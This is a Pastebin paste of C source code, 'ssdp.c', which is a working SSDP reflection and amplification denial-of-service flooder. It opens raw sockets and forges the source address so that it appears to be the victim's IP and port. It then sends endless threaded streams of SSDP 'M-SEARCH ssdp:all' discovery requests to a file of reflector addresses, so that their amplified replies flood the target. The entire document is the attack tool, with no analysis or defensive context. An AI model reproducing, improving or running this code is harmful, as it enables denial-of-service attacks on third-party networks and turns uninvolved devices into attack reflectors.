vap0r

ssdp.c

Feb 12th, 2015
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.31 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct list
  15. {
  16.         struct sockaddr_in data;
  17.         struct list *next;
  18.         struct list *prev;
  19. };
  20. struct list *head;
  21. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  22. void init_rand(uint32_t x)
  23. {
  24.         int i;
  25.         Q[0] = x;
  26.         Q[1] = x + PHI;
  27.         Q[2] = x + PHI + PHI;
  28.         for (i = 3; i < 4096; i++)
  29.         {
  30.         Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  31.         }
  32. }
  33.  
  34. uint32_t rand_cmwc(void)
  35. {
  36.         uint64_t t, a = 18782LL;
  37.         static uint32_t i = 4095;
  38.         uint32_t x, r = 0xfffffffe;
  39.         i = (i + 1) & 4095;
  40.         t = a * Q[i] + c;
  41.         c = (t >> 32);
  42.         x = t + c;
  43.         if (x < c) {
  44.                x++;
  45.                c++;
  46.         }
  47.         return (Q[i] = r - x);
  48. }
  49. unsigned short csum (unsigned short *buf, int nwords)
  50. {
  51.         unsigned long sum;
  52.         for (sum = 0; nwords > 0; nwords--)
  53.         sum += *buf++;
  54.         sum = (sum >> 16) + (sum & 0xffff);
  55.         sum += (sum >> 16);
  56.         return (unsigned short)(~sum);
  57. }
  58.  
  59. void setup_ip_header(struct iphdr *iph)
  60. {
  61.         iph->ihl = 5;
  62.         iph->version = 4;
  63.         iph->tos = 0;
  64.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 90;
  65.         iph->id = htonl(54321);
  66.         iph->frag_off = 0;
  67.         iph->ttl = MAXTTL;
  68.         iph->protocol = IPPROTO_UDP;
  69.         iph->check = 0;
  70.         iph->saddr = inet_addr("192.168.3.100");
  71. }
  72.  
  73. void setup_udp_header(struct udphdr *udph)
  74. {
  75.         udph->source = htons(5678);
  76.         udph->dest = htons(1900);
  77.         udph->check = 0;
  78.         strcpy((void *)udph + sizeof(struct udphdr), "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n");
  79.         udph->len=htons(sizeof(struct udphdr) + 90);
  80. }
  81. void *flood(void *par1)
  82. {
  83.         struct thread_data *td = (struct thread_data *)par1;
  84.         char datagram[MAX_PACKET_SIZE];
  85.         struct iphdr *iph = (struct iphdr *)datagram;
  86.         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  87.         struct sockaddr_in sin = td->sin;
  88.         struct  list *list_node = td->list_node;
  89.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  90.         if(s < 0){
  91.               fprintf(stderr, "Could not open raw socket.\n");
  92.               exit(-1);
  93.         }
  94.         init_rand(time(NULL));
  95.         memset(datagram, 0, MAX_PACKET_SIZE);
  96.         setup_ip_header(iph);
  97.         setup_udp_header(udph);
  98.         udph->source = sin.sin_port;
  99.         iph->saddr = sin.sin_addr.s_addr;
  100.         iph->daddr = list_node->data.sin_addr.s_addr;
  101.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  102.         int tmp = 1;
  103.         const int *val = &tmp;
  104.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  105.                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  106.                 exit(-1);
  107.         }
  108.         int i=0;
  109.         while(1){
  110.                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  111.                 list_node = list_node->next;
  112.                 iph->daddr = list_node->data.sin_addr.s_addr;
  113.                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  114.                 if(i==5)
  115.                 {
  116.                         usleep(0);
  117.                         i=0;
  118.                 }
  119.                 i++;
  120.         }
  121. }
  122. int main(int argc, char *argv[ ])
  123. {
  124.         if(argc < 4){
  125.                 fprintf(stderr, "Invalid parameters!\n");
  126.                 fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time>\n", argv[0]);
  127.                 exit(-1);
  128.         }
  129.         int i = 0;
  130.         head = NULL;
  131.         fprintf(stdout, "Setting up Sockets...\n");
  132.         int max_len = 128;
  133.         char *buffer = (char *) malloc(max_len);
  134.         buffer = memset(buffer, 0x00, max_len);
  135.         int num_threads = atoi(argv[4]);
  136.         FILE *list_fd = fopen(argv[3],  "r");
  137.         while (fgets(buffer, max_len, list_fd) != NULL) {
  138.                 if ((buffer[strlen(buffer) - 1] == '\n') ||
  139.                                 (buffer[strlen(buffer) - 1] == '\r')) {
  140.                         buffer[strlen(buffer) - 1] = 0x00;
  141.                         if(head == NULL)
  142.                         {
  143.                                 head = (struct list *)malloc(sizeof(struct list));
  144.                                 bzero(&head->data, sizeof(head->data));
  145.                                 head->data.sin_addr.s_addr=inet_addr(buffer);
  146.                                 head->next = head;
  147.                                 head->prev = head;
  148.                         } else {
  149.                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  150.                                 memset(new_node, 0x00, sizeof(struct list));
  151.                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  152.                                 new_node->prev = head;
  153.                                 new_node->next = head->next;
  154.                                 head->next = new_node;
  155.                         }
  156.                         i++;
  157.                 } else {
  158.                         continue;
  159.                 }
  160.         }
  161.         struct list *current = head->next;
  162.         pthread_t thread[num_threads];
  163.         struct sockaddr_in sin;
  164.         sin.sin_family = AF_INET;
  165.         sin.sin_port = htons(atoi(argv[2]));
  166.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  167.         struct thread_data td[num_threads];
  168.         for(i = 0;i<num_threads;i++){
  169.                 td[i].thread_id = i;
  170.                 td[i].sin= sin;
  171.                 td[i].list_node = current;
  172.                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  173.         }
  174.         fprintf(stdout, "Starting Flood...\n");
  175.         if(argc > 5)
  176.         {
  177.                 sleep(atoi(argv[5]));
  178.         } else {
  179.                 while(1){
  180.                         sleep(1);
  181.                 }
  182.         }
  183.         return 0;
  184. }
Advertisement
Add Comment
Please, Sign In to add comment